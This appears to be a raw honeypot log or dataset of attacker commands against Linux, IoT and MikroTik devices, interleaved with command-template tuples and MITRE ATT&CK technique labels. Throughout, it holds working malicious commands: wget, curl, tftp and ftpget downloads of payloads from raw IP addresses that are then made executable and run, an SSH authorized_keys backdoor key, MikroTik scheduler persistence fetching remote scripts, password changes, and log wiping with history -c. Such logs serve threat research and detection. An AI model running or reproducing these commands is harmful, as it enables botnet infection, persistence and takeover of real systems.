cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XRTDR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PNCAT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SAYVH


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JKNLU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PVTTR


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ECMIM

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ONQCK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox STJFH


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GLOMH


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/996ef098-3340-4aa8-81b5-5892a4e5727b mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VTEPQ


cat /etc/issue
cat /etc/issue; hive-passwd wazg0d1s23

T1083 File and Directory Discovery
T1082 System Information Discovery
T1098 Account Manipulation


cd /tmp  cd /run  cd /; wget http://134.122.67.26/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 134.122.67.26 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 134.122.67.26; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *

('cd ; wget ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; rm -rf ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ODMZY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NMQYB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HDSZN

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JAZBV

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LDBJY


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/866aff64-49c7-4638-81a4-42776ccd2c73 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GMLWJ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RYTDD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MKGZE


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


enable
sh
shell
linuxshell
system
ls /home
/bin/busybox CORONA

('enable', 'sh', 'shell', 'linuxshell', 'system', 'ls', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HSUEO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox POXFR


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.87.139.100/x86/GhOul.sh; chmod 777 GhOul.sh; sh GhOul.sh; tftp 194.87.139.100 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 194.87.139.100; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 194.87.139.100 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf GhOul.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *

('cd || cd || cd || cd || cd ; wget ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PXCER


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CSWWS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RCFIY

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FRHMC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZZTHY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox APDFV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NQZJQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JYYYW


cd /tmp  cd /run  cd /; wget http://134.122.67.26/yoyobins.sh; chmod 777 yoyobins.sh; sh yoyobins.sh; tftp 134.122.67.26 -c get yoyotftp1.sh; chmod 777 yoyotftp1.sh; sh yoyotftp1.sh; tftp -r yoyotftp2.sh -g 134.122.67.26; chmod 777 yoyotftp2.sh; sh yoyotftp2.sh; rm -rf yoyobins.sh yoyotftp1.sh yoyotftp2.sh; rm -rf *


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WQPLR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VQSWX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HKSFF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DLXME


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LUIDU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WUFGC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GSGLA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FSMVG

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456

('uname', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YEYIC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CRVTL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HTHQK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MTLBF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PCMGY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZAATF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RXIBI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WXYOT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SSRYA


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TQGHR

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UHBWR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AWWDA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QCWTH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HZBIE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BFEZD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BQLEJ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GWDGN


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/5bc4c7dd-ca56-47b0-9d0e-9647f17fea0f mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WSMAI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FNXLA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BYVHQ


cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://193.34.49.176/dirdir000/0s1s12.x86; cat 0s1s12.x86 > z1z2z5a6qw5asda; chmod +x z1z2z5a6qw5asda; ./z1z2z5a6qw5asda Rooted.VPS; history -c

cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://193.47.34.122/dirdir000/0s1s12.x86; cat 0s1s12.x86 > z1z2z5a6qw5asda; chmod +x z1z2z5a6qw5asda; ./z1z2z5a6qw5asda Rooted.VPS; history -c

cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://31.210.20.48/dirdir000/0s1s12.x86; cat 0s1s12.x86 > z1z2z5a6qw5asda; chmod +x z1z2z5a6qw5asda; ./z1z2z5a6qw5asda Rooted.VPS; history -c

('cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; ./ ; history -c', 'cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; ./ ; history -c', 'cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; ./ ; history -c')


enable
sh
shell
linuxshell
system
ls /home
/bin/busybox CORONA


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.144.225.246/shell; chmod +x shell; ./shell; rm -rf *

('cd || cd || cd || cd || cd ; wget ; chmod +x shell ; ./ ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KAGEB

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JUUXK

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AZYGC

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PPYVF

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HONLC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BYNRU


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YADXI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VLJUC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MQPRU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NSUDY


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FRCCU

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VEOON

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LGZTU

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BYGNZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OSUWD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KZWIO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NZPIJ


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456

('uname', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WBMAB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PIXEF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YHBFY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DLOJT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BWAJK


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HIXJW

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PBZGB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HMGPA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PHLDN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PWCFE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KLXXY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RUGHL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SCFEX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CLIRS


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CWWXA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KXIAU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ITVML


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IHMTK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KPXQV

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JEVQB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BTXXT


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/5d3d19d7-f22f-4850-a367-e336935a01fa mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AVTKN

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XQRHH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WJKCB

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VYYHM

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ITNAM

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OUKVL

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ANCUP

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane oracle

cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456

('uname', 'cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./', 'cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')

T1222 File and Directory Permissions Modification


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SPEFN

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GAOQD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HMDGK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MTVOD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MYZQL


('uname', 'cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://193.47.34.122/dirdir000/0s1s12.x86; cat 0s1s12.x86 > z1z2z5a6qw5asda; chmod +x z1z2z5a6qw5asda; ./z1z2z5a6qw5asda Rooted.VPS; history -c

('cat ; cd || cd || cd || cd || cd ; wget -q ; cat > ; chmod +x ; ./ ; history -c',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VLFXY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YILUE


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/789ac284-fe8b-49fd-84f9-7314cb0e96d4 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write

T1037 Boot or Logon Initialization Scripts


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OVKQT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XBTID


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CMXXW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PXEQX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UFFZG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QRHLR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TOCZR


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.141.43.118/sh; curl -O http://209.141.43.118/sh; chmod 777 sh; sh sh; tftp 209.141.43.118 -c get bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -r .sh -g 209.141.43.118; chmod 777 .sh; sh .sh; ftpget -v -u anonymous -p anonymous -P 21 209.141.43.118 .sh .sh; sh .sh; rm -rf sh bins.sh .sh .sh; rm -rf *

